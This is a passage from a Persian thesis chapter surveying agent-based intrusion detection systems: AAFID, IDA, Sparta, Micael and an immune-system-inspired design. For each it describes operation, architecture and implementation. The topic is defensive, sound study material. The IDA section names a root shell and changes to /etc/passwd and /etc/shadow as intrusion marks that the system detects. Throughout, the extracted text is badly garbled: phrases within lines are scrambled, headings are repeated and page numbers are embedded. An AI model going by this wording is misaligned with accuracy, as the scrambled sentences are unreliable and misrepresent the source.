آوري اطلاعات، پردازش، ذخيره و  توانند داشته باشند جمع هاي متحرک مي ترين کاربردي که عامل اي پايه

  ها به اين دليل مورد نياز است که اطلاعات از نقاط مختلف بدست آوري داده جمع. باشد گويي به آنها ميپاسخ

پردازش اطلاعات به اين علت مورد نياز است که اطلاعات مفيد . آيد و يک شکل کلي از سيستم ترسيم گردد

با توجه به اطلاعات پردازش شده عکس  آيد و پاسخگويي به اين دليل مورد نياز است تا  هاي خام بدست از داده

  .العمل متناسب صورت گيرد

 توصيف حملهتوصيف حملهتوصيف حملهتوصيف حمله •

ها در نقش سنسور در هر ميزبان  تواند بشود استفاده از عامل هاي متحرک مي هايي که از عامل يکي از استفاده

ل ساختار يک راه اين است که حمله توسط کدي که در داخ. سه راه براي انجام اين کار معمول است. باشد مي

روش ديگر به اين صورت است که ستاريوي حمله توسط يک زبان . برنامه وجود دارد به عامل معرفي شود

scriptروش سوم طراحي يک زبان مخصوص است که توسط آن الگوي حمله به .  گونه به عامل معرفي شود

ها قابل درک   توسط عاملشوند که مستقيماً اين توصيف به قوانين و کدهايي ترجمه مي. عامل معرفي شود

  .باشند مي

 هاهاهاها    مرتبط ساختن دادهمرتبط ساختن دادهمرتبط ساختن دادهمرتبط ساختن داده •

نفوذ براي حملات توزيع شده مطرح است چگونگي ارتباط  هاي تشخيص يکي از مسائلي که در رابطه با سيستم

 client/serverبراي انجام اين کار يک روش استفاده از مدل . باشد آوري شده از نقاط مختلف مي اطلاعات جمع

روشي که در اين . لاعات به يک نقطه مرکزي بيايند که اين روش مشکل نقطه مرکزي را دارداست که اط

توانند به صورت موازي با يکديگر کار کنند و  ها مي عامل. هاي متحرک است رابطه مطرح است استفاده از عامل

  .تبادل اطلاعات داشته باشند

 هاهاهاها    پايداري عاملپايداري عاملپايداري عاملپايداري عامل •

  است، توسط يک نقطه مرکزي و يا ١يک مدل که عامل موقت. ودش در حالت کلي دو مدل عامل مطرح مي

نوع . کننده اطلاعات از اين نوع است عامل جمع. شود تا يک کار خاص انجام دهد  ايجاد مي يک عامل ديگر

توانند دانش بدست آورند  ها مي اين عامل. کنند  است که براي يک دوره طولاني فعاليت مي٢ديگر عامل پايدار

  .اس شرايط مختلف، کارهاي متفاوتي را انجام دهندو بر اس

                                                        
1 Transient 
2 Persistent 
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۴-۱- AAFID [12]  
اين سيستم، اولين سيستم معتبري است که بر . شود  معرفي ميAAFID١نفوذي به نام  در اين بخش سيستم تشخيص

  .شود ميدر ادامه اين فصل ساختار اين سيستم شرح داده . سازي شده است پياده) هاي محرک البته نه عامل(ها  اساس عامل

  عملکرد -۴-۱-۱

  . نشان داده شده استAAFID نمايي کلي از ساختار ۲-۴ و ۱-۴در شکل 

  

  
        AAFID ساختار کلي سيستم  ساختار کلي سيستم  ساختار کلي سيستم  ساختار کلي سيستم ----۱۱۱۱----۴۴۴۴شکل شکل شکل شکل 

  
        هاي مختلف سيستمهاي مختلف سيستمهاي مختلف سيستمهاي مختلف سيستم     ارتباط بين بخش ارتباط بين بخش ارتباط بين بخش ارتباط بين بخش----۲۲۲۲----۴۴۴۴شکل شکل شکل شکل 

                                                        
1 Autonomous Agent for Intrusion Detection 
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رگيرنده تعدادي عامل است که عمل هر ميزبان درب. شود هاي شبکه توزيع مي  در تمام ميزبانAAFIDيک سيستم 

هاي واقع در يک ميزبان رخدادهاي پيدا کرده را به يک  تمام عامل. گيرد بازررسي يک رخداد خاص را بر عهده مي

ها را بر عهده  گيرنده بخشي است که در هر ميزبان قرار دارد و عمل بازرسي عامل فرستنده. دهند  انتقال مي١گيرنده فرستنده

. ها را شروع و ختم کنند و يا آنکه آنها را دوباره پيکربندي کنند توانند عامل کنند، براي مثال مي ها را کنترل ميدارند و آن

. هاي خام است دهد خلاصه کردن اطلاعات و درآوردن اطلاعات مفيد از داده گيرنده انجام مي عمل ديگري که فرستنده

به اين . کند  ارسال مي٢دهنده ه اين اطلاعات را به يک يا چند آگاهيگيرند بعد از بدست آوردن اطلاعات مفيد فرستنده

آوري  دهنده به کل اطلاعات جمع آگاهي. تري نسبت به کل رخدادها دارد دهنده يک نگاه جامع ترتيب هر آگاهي

توانند ساختار   ميها دهنده خود آگاهي. تواند يک آناليز کامل بر اساس آن اطلاعات انجام دهد دسترسي دارد در نتيجه مي

  .کند هاي بالاي خود ارسال مي دهنده آوري کرده را به آگاهي دهنده اطلاعات جمع سلسله مراتبي داشته باشند و هر آگاهي

  معماري -۴-۱-۲

 AAFIDيک سيستم . گيرد هاي تشکيل دهنده مورد بررسي قرار مي در اين بخش سيستم از لحاظ معماري و بخش

  :هاي زير است داراي بخش

 للللعامعامعامعام •

باشد که بازرسي يک عمل خاص را در هر ميزبان بر عهده دارد و رخدادهاي  يک عامل واحد مستقل اجرايي مي

ها هيچ  اين عامل. دهد گيرنده گزارش مي کند و به فرستنده آوري مي غير عادي و يا رفتارهاي عجيب را جمع

دهنده انجام  گيرنده و آگاهي  فرستندهمجوزي براي آنکه خود توليد هشدار کند ندارد و اين کار را معمولاً

دهنده  سازد و آگاهي گيرنده يک مدل از شرايط ميزبان مي آوري اطلاعات بدست آمده، فرستنده با جمع. دهند مي

 AAFIDها در معماري  عامل. سازد نيز به همين ترتيب يک مدل از شرايط کل شبکه تحت کنترل خود مي

گيرنده  براي انجام اين کار بايد پيغام را به فرستنده. يگر تبادل اطلاعات کنندتوانند به صورت مستقل با يکد نمي

  .گيرد که چه عملي انجام دهد گيرنده بر اساس پيکربندي عامل تصميم مي کند و فرستنده ارسال مي

 گيرندهگيرندهگيرندهگيرنده    فرستندهفرستندهفرستندهفرستنده •

اول کنترل : دهند  انجام ميآنها دو نقش اصلي را. باشند هاي خارجي براي هر ميزبان مي ها واسطه گيرنده فرستنده

  .ها و دوم پردازش آنها داده

  :دهد گيرنده اين اعمال را انجام مي در زمينه کنترل، فرستنده

o ها يا از  دستورات براي اجرا و يا ختم عامل. هاي تحت کنترل خود شروع و ختم عامل

 .شود دهنده، يا آنکه از پيکربندي اطلاعات و يا يک رخداد خاص دريافت مي آگاهي

o نگاه داشتن مسيري که هر عامل در هر ميزبان پيموده است. 

o آيد دهنده مي جواب دادن به دستوراتي که از سمت آگاهي. 

  :ها اعمالي که انجام دهد به اين ترتيب است در رابطه با مساله پردازش داده
                                                        

1 Transceiver 
2 Monitor 
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 .ها در همين ميزبان توليد شده است ها که توسط عامل دريافت گزارش .۱

 .هاي دريافتي بر روي گزارشانجام پردازش  .۲

ها در همان  دهنده و يا ساير عامل توزيع اطلاعات دريافتي و يا اطلاعات پردازش شده به آگاهي .۳

  .سيستم

 دهندهدهندهدهندهدهنده    آگاهيآگاهيآگاهيآگاهي •

شود  بندي ميدهنده دسته اعمالي که براي آگاهي. دهنده قرار دارد ، آگاهيAAFIDدر بالاترين سطح معماري 

. ها که عبارتند از کنترل و پردازش داده. گيرنده در نظر گرفته شده است رستندههمانند اعمالي است که براي ف

تواند اعمال مختلفي را که  دهنده مي دهنده در اين است که آگاهي گيرنده و آگاهي مهمترين تفاوت بين فرستنده

 ميزبان خود را کنترل گيرنده فقط اعمال مربوط به دهد را کنترل کند اما فرستنده هاي متفاوت رخ مي در ميزبان

هايي که  گيرنده هاي خلاصه شده را از فرستنده دهنده داده ها، آگاهي در رابطه با وظيفه پردازش داده. کند مي

بدين ترتيب در . سازد ها برقرار مي کند و يک ارتباط سطح بالا بين آن داده باشد دريافت مي تحت کنترل آن مي

  .دهد يصورت رخ دادن اتفاقي آنرا اطلاع م

تواند  همچنين مي. کند ها دريافت مي دهنده دهنده دستورات را از ساير آگاهي در رابطه با زمينه کنترلي، آگاهي

دهنده قابليت برقراري ارتباط با  علاوه بر اين آگاهي. هاي ديگر را کنترل کند گيرنده ها و فرستنده دهنده آگاهي

  . واسط کاربر را نيز دارد

  سازي پياده -۴-۱-۳

 C و Perl،TCL/TK توسط زبانهاي (AAFID1)اولين نسخه آن . سازي شده است  پيادهAAFIDخه از سيستم دو نس

.  است و قابليت پيکربندي نداردhardcodeهاي سيستم به صورت  در اين نسخه اکثر رفتار بخش. سازي شده است پياده

 Messageها  و براي تبادل اطلاعات داخل ميزبان استفاده شده است UDPها از پروتکل  براي تبادل اطلاعات بين ميزبان

Queueبه کار گرفته شده است .  

سازي شده است، که اين امکان را در اختيار قرار   پيادهPerl تقريباً تمام سيستم با (AAFID2) ۲در نسخه شماره 

يژگي، در اين نسخه قابليت علاوه بر اين و. هاي مختلف منتقل کرد توان به راحتي آنرا بر روي معماري دهد که مي مي

  . پيکربندي سيستم وجود دارد
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�-٢- IDA١[5]  

IDAدر اين . سازي شده است هاي متحرک پياده نفوذ است که بر اساس عملکرد عامل هاي تشخيص  يکي از سيستم

ه سازي اين پروژ هدف از پياده. شود استفاده همزمان استفاده مي شيوه از دو روش تشخيص ناهنجاري و تشخيص سوء

، الگوهاي IDAبراي طراحي .  نفوذها با دقت و صحت بالا مورد نظر است باشد بلکه تشخيص تشخيص تمام نفوذها نمي

دور شخص  در حملات راه.  تقسيم شده است٣ و حملاتي محلي٢دور حمله به يک ميزبان به دو دسته کلي حملات راه

به طور . کننده اجازه دسترسي به ميزبان را دارد محلي شخص حملهکننده اجازه دسترسي به ميزبان را ندارد و در حمله  حمله

کند تا مجوز لازم را بدست  آيد و سعي مي دور به حساب مي کننده در ابتدا مجوز ندارد و يک حمله راه کلي، شخص حمله

امه اين بخش شيوه در اد. تواند اعمال خود را انجام دهد شود و مي آورد، بعد از اين عمل تبديل به يک حمله محلي مي

  .شود عملکرد اين سيستم شرح داده مي

  عملکرد -۴-۲-۱

  . نشان داده شده است۳-۴کنند که در شکل  براي آناليز الگوي نفوذ، آن را به چهار مرحله تقسيم مي

  
         مراحل انجام يک نفوذ مراحل انجام يک نفوذ مراحل انجام يک نفوذ مراحل انجام يک نفوذ----۳۳۳۳----۴۴۴۴شکل شکل شکل شکل 

 ٤٤٤٤مرحله جستجومرحله جستجومرحله جستجومرحله جستجو •

آوري  دهد و شروع به جمع  مورد بررسي قرار ميدر اين مرحله شخص حمله کننده ميزبان و مقصد را

  .کند تا نقاط آسيب پذير سيستم را بدست آورد به اين ترتيب سعي مي. کند اطلاعات مي

  

                                                        
1 Intrusion Detection Agent 
2 Remote attack 
3 Local attack 
4 Search stage 



  ٧١

 ١١١١مرحله فعاليتمرحله فعاليتمرحله فعاليتمرحله فعاليت •

ها اجازه نفوذ به ميزبان را  کند با استفاده از يک سري از فعاليت در اين مرحله شخص حمله کننده سعي مي

 .بدست آورد

 ٢٢٢٢گذاريگذاريگذاريگذاري    مرحله نشانهمرحله نشانهمرحله نشانهمرحله نشانه •

اي که شخص حمله کننده در مقصد قرار داده  کند به عمل و نشانه  در اين مرحله دلالت ميmarkکلمه 

کننده از خود  اي است که شخص حمله  نشانهMLSI. شود  گفته ميMLSI٣ يا نشانه، markبه اين . است

در اين . اً وارد سيستم شودگذارد تا از اين به بعد بدون احتياج به گذراندن مراحل قبل مستقيم باقي مي

  :باشند هايي که تعريف شده اند به اين ترتيب مي MLSIسيستم براي مثال براي حمله محلي، 

 root shellفعال شدن يک  .۱

  ... و etc/passwd ،/etc/shadow/هايي نظير  تغيير پيدا کردن در فايل .۲

 ٤٤٤٤مرحله تغيير چهرهمرحله تغيير چهرهمرحله تغيير چهرهمرحله تغيير چهره •

  .تواند اعمال مورد نظر خود را انجام دهد کرده و ميکننده به سيستم نفوذ  در اين مرحله شخص حمله

  :نفوذ به اين ترتيب است  براي تشخيصIDAروش عملکرد در 

 ٥اي در آنجا پيدا شود آن را به مدير MLSIاگر . باشد  فعال ميMLSIدر هر ميزبان، سنسوري براي تشخيص يک نوع 

عامل پيمايشگر بعد از ورود . کند  به آن سيستم ارسال مي٦شگرمدير بعد از دريافت پيغام، يک عامل پيماي. دهد اطلاع مي

 پيدا MLSIکند، که اين عامل اطلاعات مربوط به   فعال مي٧كننده اطلاعات به آن سيستم يک عامل ديگر به نام عامل جمع

کند و به  رها ميكننده اطلاعات آن ميزبان را  عامل پيمايشگر بعد از فعال کردن عامل جمع. کند آوري مي شده را جمع

اگر اين عامل به مبداء نفوذ رسيد و يا ديگر محلي براي پيمودن وجود نداشت به سمت . کند سمت مبداء نفوذ حرکت مي

آوري اطلاعات مستقل از عامل پيمايشگر به  كننده اطلاعات نيز بعد از جمع از طرف ديگر عامل جمع. گردد مدير باز مي

  .گردد مدير باز مي

 .شود  مشاهده ميIDAاي از ساختار سيستم   نمونه۴-۴در شکل 

  

                                                        
1 Activity stage 
2 Mark stage 
3 Mark Left by Suspected Intruser 
4 Masquerade stage 
5 Manager 
6 Tracing agent 
7 Information gathering agent 
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        IDA ساختار سيستم  ساختار سيستم  ساختار سيستم  ساختار سيستم ----۴۴۴۴----۴۴۴۴شکل شکل شکل شکل 

 معماري -۴-۲-۲
، عامل پيمايشگر و عامل ٢، صفحه پيغام١ عبارتند از مدير، سنسور، صفحه اعلاناتIDAهاي تشکيل دهنده  بخش

  .شده است نشان داده ۴-۴ها در شکل  هر يک از اين بخش. كننده اطلاعات جمع

 مديرمديرمديرمدير •

علاوه بر . باشد نفوذ مي كننده اطلاعات و تشخيص آوري شده توسط عامل جمع وظيفه مدير آناليز اطلاعات جمع

متحرک و صفحه اعلانات را بر عهده دارد و همچنين يک واسط بين مدير  هاي اين مدير، وظيفه مديريت عامل

اگر اين . دهد  شده را آناليز و به آن وزني تخصيص ميآوري مدير اطلاعات جمع. کند شبکه و سيستم برقرار مي

  .در هر بخش شبکه يک مدير بايد وجود داشته باشد. کند وزن از حد نصاب بيشتر شود اعلام نفوذ مي

 سنسورسنسورسنسورسنسور •

اگر . کند  جستجو ميMLSIهاي سيستم را به منظور پيدا کردن  logدر هر ميزبان يک سنسور وجود دارد که 

MLSI  دهد آن را به مدير اطلاع مياي پيدا شود. 

 عامل پيمايشگرعامل پيمايشگرعامل پيمايشگرعامل پيمايشگر •

 را به MLSIمحلي که شخص نفوذکننده از آنجا (کند تا به مبداء آن برسد  اين عامل مسير نفوذ را طي مي

مدير، سنسور و عامل پيمايشگر با يکديگر به اين ترتيب ). دور در ميزبان مورد نظر قرار داده است صورت راه

دهد و مدير يک عامل  اي را تشخيص داد آن را به مدير اطلاع مي MLSIنسور، کنند که وقتي س عمل مي

                                                        
1 Bulletin board 
2 Message board 
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به سيستم ديگر  اين عامل به صورت خودمختار از سيستمي. کند سازد و به آن ميزبان ارسال مي پيمايشگر مي

  .کند بايد توجه داشت که اين عامل هيچ قضاوتي در مورد نوع نفوذ نمي. رود مي

 عاتعاتعاتعاتكننده اطلاكننده اطلاكننده اطلاكننده اطلا    عامل جمععامل جمععامل جمععامل جمع •

آوري   مشخص را از ميزبان مقصد جمعMLSIاين عامل که يک عامل متحرک است اطلاعات مربوط به يک 

. کند ايجاد مي كننده اطلاعات  وقتي که عامل پيمايشگر به يک ميزبان رسيد در آنجا يک عامل جمع. کند مي

 .گردد شگر به مدير باز ميآوري اطلاعات تمام شد، اين عامل مستقل از عامل پيماي وقتي که وظيفه جمع

 صفحه اعلانات و صفحه پيغامصفحه اعلانات و صفحه پيغامصفحه اعلانات و صفحه پيغامصفحه اعلانات و صفحه پيغام •

كننده اطلاعات  اين دو بخش فضاي مشترکي است که قابل دسترسي توسط عامل پيمايشگر و عامل جمع

. کند در هر ميزبان، صفحه پيغامي وجود دارد که عامل پيمايشگر براي تبادل اطلاعات از آن استفاده مي. باشد مي

كننده اطلاعات  آوري شده توسط عامل جمع يي است که در مدير قرار دارد و اطلاعات جمعصفحه اعلانات فضا

  .شود در آنجا ذخيره مي

  سازي پياده -۴-۲-۳

سازي بستري  براي پياده. سازي شده است  پيادهPerl و Cهاي   و توسط زبانSolarisعامل   تحت سيستمIDAسيستم 

ه شده است که امکان تعيين هويت، رمز كردن و ساير اعمال مربوط  استفادD’Agentهاي متحرک از  براي عملکرد عامل

  .دهد هاي متحرک را در اختيار قرار مي به عامل
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۴-۳- Sparta [6]  
Spartaبراي انجام اين . کند هاي متحرک استفاده مي باشد که براي اعمال خود از عامل نفوذ مي  يک سيستم تشخيص

توسط اين زبان به سيستم .  توسط آن انواع نفوذها قابل توصيف استکار يک زبان توصيف الگو طراحي شده است که

هاي متحرک براي ارتباط  در اين سيستم از عامل. شود که دنبال چه چيزي بگرد نه آنکه چگونه دنبال بگرد گفته مي

  .اطلاعات به يکديگر استفاده شده است

  عملکرد -۴-۳-۱

توانند به نوعي با يکديگر  تعدادي از رخدادها مي. شود ييک رخداد به تنهايي توسط مقدار و مشخصات آن شناخته م

نفوذ داد، بررسي رخدادها به تنهايي کافي نيست و بايد  براي آنکه در الگوهاي پيچيده بتوان تشخيص. در ارتباط باشند

  .ارتباط بين آنها نيز بررسي شود

 در هر ميزبان به صورت محلي ذخيره  به اين ترتيب است که رخدادهاي جالب و قابل توجهSpartaاساس کار در 

اطلاعاتي توزيع شده در سطح شبکه در نظر  توان همانند يک بانک ها را مي مجموعه تمام اطلاعات محلي در سيستم. شود مي

. شوند هاي متفاوتي ذخيره مي در مکان) مثلاً خود رخداد(اطلاعات مربوطه ) مثلاً نوع رخداد(براي هر ارتباطي . گرفت

 بيان کند تا به دنبال رخدادهايي بگردد تا شرايط مورد EQL١تواند يک درخواست را بر اساس زباني به نام  بر مييک کار

  . هاي متحرک است ها بر عهده عامل وظيفه جابجا کردن درخواست. نظر برآورده شود

اني موجود و معتبر است يک الگو زم. اولين مرحله قبل از انجام هر کاري در اين سيستم توصيف حمله و نفوذ است

  :که داراي شرايط زير باشد

 در Saيک مجموعه رخدادهاي (هر مجموعه از رخدادها حداقل يک ارتباط با مجموعه ديگر داشته باشد  .۱

 داراي يک رخداد Sa ارتباط دارند، اگر و تنها اگر b در ميزبان Sb وقتي با مجموعه رخدادهاي a ميزبان 

 ).د دريافت مربوط باشد داراي يک رخداSbارسال و 

 .داراي يقيناً يک رخداد دريافت باشد) که ريشه است(ها به جز يکي  تمام مجموعه .۲

  .اي وجود نداشته باشد در گراف تشکيل شده حلقه .۳

همانند شده توسط اين زبان هاي نوشته  درخواست. گيرد  صورت ميEQLتوصيف اين الگو توسط زباني به نام 

  : استSQLدستورات 
SELECT results FROM nodes WHERE conditions  

هاي متحرک در سطح  براي انجام اين کار عامل. بعد از توصيف الگو حمله بايد وجود اين الگو در شبکه بررسي شود

بايد ميزبان از آن را گيرد که چه اطلاعاتي  کنند و وقتي نشاني از يک نفوذ ممکن پيدا شود، تصميم مي شبکه حرکت مي

 در شبکه باشد، عمل انجام شده telnet chainبراي مثال، اگر هدف پيدا کردن يک . ديگر حمل کندميزبان به بردارد و 

 .شود  مشاهده مي۵-۴براي يافتن الگو به اين ترتيب است که در شکل 

                                                        
1 Event Query Language 



  ٧٥

  

        telnet chain مراحل تشخيص يک  مراحل تشخيص يک  مراحل تشخيص يک  مراحل تشخيص يک ----۵۵۵۵----۴۴۴۴شکل شکل شکل شکل 

براي انجام اين کار ابتدا . شود تا يک الگوي خاص را جستجو کند در ابتدا يک عامل توسط واسط کاربر فعال مي

کند تا  کنند، بررسي مي  را پشتيباني ميSpartaست که ا هايي ميزبانارسال کننده عامل، ليستي را که شامل مشخصات 

 به آنجا مربوطه، عامليميزبان در صورت  پيدا کردن  .شود يا خير  ارضاء ميFROMتشخيص دهد که شرط مربوط به 

است يا خير، که در اين مثال ريشه ، ميزبانيا اين ه آشود ک بررسي ميميزبان بعد از ارسال عامل به آن . شود فرستاده مي

اگر شرايط لازم پيدا نشد عامل به سفر خود در شبکه ادامه . باشد  مي(Telnet) ٢٣خاص بررسي براي يافتن پورت باز 

اين عامل، يک عامل ديگر )  وجود دارد٢٣ي که در آن دريافت روي پورت ميزبانعني ي(پيدا شد ريشه وقتي که . دهد مي

عامل کند تا  کند و خودش صبر مي  را انجام داده ارسال ميtelnetي که  ميزبانايجاد و به   را١كننده عامل كمكنام ه ب

عامل هر . دهد ه عامل اصلي ميآوري شده را ب برگردد اطلاعات جمعكننده  عامل كمكوقتي که . برگرددكننده  كمك

 يک ميزبان روي آن ٢٣در نتيجه در صورت باز بودن پورت .  را داردميزبانحداکثر توانايي حرکت تا يک كننده  كمك

اين عمل آنقدر تکرار .  کند  دوم را انجام داده ارسال ميtelnetي که ميزبانايجاد کرده و به    جديدكننده عامل كمك

گردد تا به عامل اصلي   برسد، سپس اطلاعات به همين ترتيب برميtelnetبه مبداء اصلي كننده  كعامل كمشود تا  مي

  . برسد

 معماري -۴-۳-۲
 :باشد هر نود دراين سيستم داراي بخشهاي زير مي

 ))))سنسورسنسورسنسورسنسور((((توليد کننده رخداد محلي توليد کننده رخداد محلي توليد کننده رخداد محلي توليد کننده رخداد محلي  •

قيق اين رويدادها را کند و مشخصات د بررسي ميميزبان توليد کننده رخدادهاي محلي رويدادها را در شبکه يا 

 . کند هاي مربوطه ذخيره  مي در کلاس

                                                        
1 Helper 
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 محل ذخيره رويدادهامحل ذخيره رويدادهامحل ذخيره رويدادهامحل ذخيره رويدادها •

محل ذخيره اطلاعات بايد توانايي پشتيباني از . کند اطلاعاتي ذخيره مي  اطلاعات خود را در يک بانکسنسور

 شود،  تقاضاي دريافت يک کلاس مطرح ميدرخواستهنگاميکه در يک . ويژگي وراثت را داشته باشد

 . اطلاعاتي بايد بتواند علاوه بر کلاس مورد درخواست، رخدادهاي فرزند را نيز برگرداند بانک

 هاي متحرکهاي متحرکهاي متحرکهاي متحرک    چارچوبي براي عمل عاملچارچوبي براي عمل عاملچارچوبي براي عمل عاملچارچوبي براي عمل عامل •

هاي متحرک وظيفه فراهم کردن سيستم ارتباطي براي انتقال شرايط و کد عامل از  چارچوب اجرايي براي عامل

. ها از وظايف اين چارچوب است وه بر اين برقراري امنيت عاملعلا.  ديگر را داردميزبانبه يک ميزبان يک 

وقتي که عامل . کنند  را پشتيباني ميSpartaست که  اها ميزبانايجاد ليستي از  يکي از وظايف مهم اين بخش

  . کند ها دسترسي پيدا مي ميزبانخواهد دنبال يک الگو بگردد از روي اين ليست به  مي

  سازي پياده -۴-۳-۳

هاي متحرک مورد   که براي پشتيباني عاملبستري.  نوشته شده استjavaي اين سيستم توسط زبان ها اکثر بخش

هايي از کد مربوط به امنيت که نياز به  بخش.  استjavaباشد که مبتني بر زبان   ميgypsyاستفاده قرار گرفته است 

 اين ۶-۴در شکل . اند کد شدهJNI١وسط نوشته شده اند و ت- ++C/Cدسترسي نزديک به منابع سيستم دارند با زبان 

  . انجام شده استJavaScript و HTMLهاي  سازي واسط کاربر توسط زبان پياده. ساختار نشان داده شده است

  

  
        Spartaهاي تشکيل دهنده هاي تشکيل دهنده هاي تشکيل دهنده هاي تشکيل دهنده      بخش بخش بخش بخش----۶۶۶۶----۴۴۴۴شکل شکل شکل شکل 

                                                        
1 Java Native Interface 
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۴-۴- Micael [4] 
اين .  استMicaelکند،  ي متحرک عمل ميهانفوذ که بر اساي عامل هاي تشخيصترين سيستميکي از جالب

 singleدر اين پروژه مشکل . دهند باشد که هر کدام عمل خاصي را انجام مي سيستم متشکل از تعداد زيادي عامل مي

point of failureدارند و باري که   اند که حجم کمي سازي شده صورتي پيادهبه ها علاوه بر اين عامل.  حل شده است

يکي از مسايل مربوط به اين . کنند بسيار کم است اي که از منابع سيستم مي گذارند و ميزان استفاده  ميبر روي شبکه

  . پروژه قابليت پيکربندي مجدد آن است

به اين معني که يک عمل پيچيده به . شود  استفاده مي١تقسيم و حلدر اين سيستم براي حل مشکلات از روش 

  . گردد  و هر برنامه موظف به انجام يک عمل خاص ميشود هاي کوچکي تقسيم مي برنامه

 عملکرد -۴-۴-۱
 به همراه معماري سيستم ۲-۴-۴شرح عملكرد در بخش .  نشان داده شده است۷-۴عملكرد اين سيستم در شكل 

  .آورده شده است

  
        Micael ساختار کلي  ساختار کلي  ساختار کلي  ساختار کلي ----۷۷۷۷----۴۴۴۴شکل شکل شکل شکل 

                                                        
1 Divide and conquer 
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 معماري -۴-۴-۲
 . شود  شرح داده ميMicaelدر اين بخش اعضاي تشکيل دهنده سيستم 

 ١١١١مديرمديرمديرمدير •

اين بخش وظيفه توليد . کند اين بخش يک عامل متحرک است که به عنوان محل آناليز مرکزي عمل مي

 singleاين عامل متحرک با توجه به آنکه محل مرکزي آناليز است براي رفع مساله . ها را بر عهده دارد عامل

point of failure گيرد، در  در دو حالت اين عمل صورت مي. خود را عوض کند لازم است که در مواقعي محل

مورد حمله قرار ميزبان ي که بر روي آن فعال است زياد شود و ديگر آنکه وقتي که ميزبانمواقعي که بار 

 .گيرد

آورد و آنها را آناليز و گزارش تهيه  ها را يکجا گرد مي آوري شده توسط عامل اين مرکز اطلاعات جمع

عامل دهد و اين وظبفه برعهده  در مورد نوع تشخيص انجام نمي  بته در اين مرکز هيچ تصميميال. کند مي

  . گذاشته شده است٣عامل جداساز و ٢نگهبان

کند که عمل بازرسي ساير  ايجاد مي   را٤بازرسهايي به نام  طوز متناوب عامله  بمديرعلاوه بر اين موارد 

  .ها را بر عهده دارد عامل

 ننننعامل نگهباعامل نگهباعامل نگهباعامل نگهبا •

 ارسال مديرکند و به  آوري مي هاي شبکه وجود دارد و اطلاعات مربوطه را جمع ميزباناين عامل در تمام 

 بسازد عامل جداسازکند که يک  درخواست ميمدير عملي را تشخيص دهد از عامل نگهبان وقتي که . کند مي

  .که وظيفه آن بررسي رخداد با جزئيات و دقت بيشتر است

  . يادگيري محدود است و تنها وظيفه توليد پيغام خطا و آلارم در مواقع لازم را دارداين عامل از نظر

 عامل جداسازعامل جداسازعامل جداسازعامل جداساز •

عامل نگهبان وقتي که يک . شود اين عامل، عاملي است که براي برخورد با مشکلات بوجود آمده ساخته مي

اين عامل . کند مياساز عامل جددرخواست ساخت يک مدير الگويي را تشخيص دهد با توجه به نوع حمله  از 

دهد که   در بعضي مواقع تشخيص ميعامل جداساز. کند تري براي تشخيص حمله استفاده مي ي دقيقها از مکانيزم

اين . کند ديگر ميعامل جداساز درخواست توليد يک مدير براي شناخت حمله مناسب نيست و در نتيجه از 

 . گيرد  صورت ميoffline يادگيري آن بصورت اما. عامل از سطح هوشمندي بالايي برخوردار است

 بازرس بازرس بازرس بازرس  •

نام بازرس توليد ه يي بها صورت پريوديک عامله  در اين سيستم بها به منظور جلوگيري از خرابي کد عامل

يي هستند که اجازه توليد يک عامل ها  تنها عاملمديراين عامل و . شود که عمل بازرسي را بر عهده دارد مي

 درخواست توليد يک عامل مدير تشخيص دهد که عاملي داراي مشکل است از بازرساگر . جديد را دارند

                                                        
1 Head quarter 
2 Sentinel 
3 Detachment 
4 Audit 
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درخواست  مديردهد که آن عامل از کار افتاده و از   عاملي را پيدا نکند تشخيص ميبازرساگر . کند جديد مي

امل احتياج به در اين ع. کند را توليد مي  آن، بازرس باشدمديراما اگر آن عامل خود . کند توليد آنرا مي

  .يادگيري و هوشمندي وجود ندارد

  سازي يادهپ -۴-۴-۳

سازي شده است و  پيادهIBM توسط شرکت ASDK١.  استفاده شده استASDKسازي اين پروژه از  براي پياده

به   مفهوميASDKدر . باشد  ميjavaسازي اين سيستم بر مبناي زبان  پياده. کند  فراهم ميها لبستري براي حرکت عام

 ميزبان به ميزباني از Agletباشد که کد   ميApplet و Agentشود که ترکيبي از دو کلمه   تعريف ميAgletاسم 

  . رود ديگر مي

                                                        
1 Aglets Software Development Kit 



  ٨٠

۴-۵- Immune System  
در اين سيستم فقط نفوذهايي از . نفوذ استفاده شده است هاي متحرک براي تشخيص در اين سيستم نيز از عامل

هاي توصيف شده قبلي دارد اين است که تنها به  اوتي که اين سيستم با سيستمتف. شود  تشخيص داده ميناهنجارينوع 

مکانيزم اين سيستم از سيستم . کند  بلکه در مقابل آن عکس العمل نشان داده و دفاع مي،شود نفوذ محدود نمي تشخيص

  . شود دفاعي بدن گرفته مي

  عملکرد -۴-۵-۱

بدين ترتيب . کند دن توپولوژي شبکه را فراهم ميدر اين سيستم متدي طراحي شده است که امکان بدست آور

نفوذ،  ي تشخيصها در اکثر سيستم. توانند تشخيص دهند که چگونه در سطح شبکه حرکت و جستجو کنند ها مي عامل

اما در اين پروژه اين مسئله تا حدي پيش رفته است و سيستم . نفوذ است گيرد تنها تشخيص عملي که صورت مي

در سيستم . الگوي اين عمل از ساختار دفاعي بدن گرفته شده است. لوي عمل خلاف را بگيردکند که ج سعي مي

اما اگر بيماري به بدن نفوذ کند . يدآ عمله ها به بدن جلوگيري ب شود که از نفوذ بيماري دفاعي بدن ابتدا سعي مي

  . پردازد سيستم دفاعي در مقابل آن به دفاع مي

 ميزباننفوذ بر روي هر  ها ازگذاشتن سيستم تشخيص ميزبانسربار اضافي بر روي به منظور جلوگيري ازايجاد 

 عامل متحرکي مسئول دامنههاي مجازي تقسيم شده است و در هر  دامنهدر عوض ساختار شبکه به . اجتناب شده است

  . بازرسي آن شده است

ست که قبل از عمل  ا است لازمنجاريتشخيص ناهبا توجه به آنکه مکانيزم مورد استفاده در اين سيستم، روش 

ها  رفتار عادي برنامه: گيرد عمل يادگيري به اين ترتيب صورت مي .تشخيص، يک دوره يادگيري وجود داشته باشد

شود و اختلاف آنها نيز ذخيره  شود، همچنين رفتارهاي متفاوت در شرايط متفاوت با رفتار عادي مقايسه مي ذخيره مي

هايي که براي اجراي امن  system callشود عبارتند از مجموعه  منظور اطلاعاتي که ذخيره ميبراي اين . گردد مي

 مرحله مربوط به ۸-۴در شکل . براي هر برنامه يک بانک اطلاعاتي وجود دارددامنه در هر . شوند برنامه فراخوانده مي

  . يادگيري نشان داده شده است
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        دگيريدگيريدگيريدگيري مرحله يا مرحله يا مرحله يا مرحله يا----۸۸۸۸----۴۴۴۴شکل شکل شکل شکل 

اند،  هاي متحرکي که به برنامه تخصيص داده شده عامل. شود بعد از مرحله يادگيري، مرحله تشخيص انجام مي

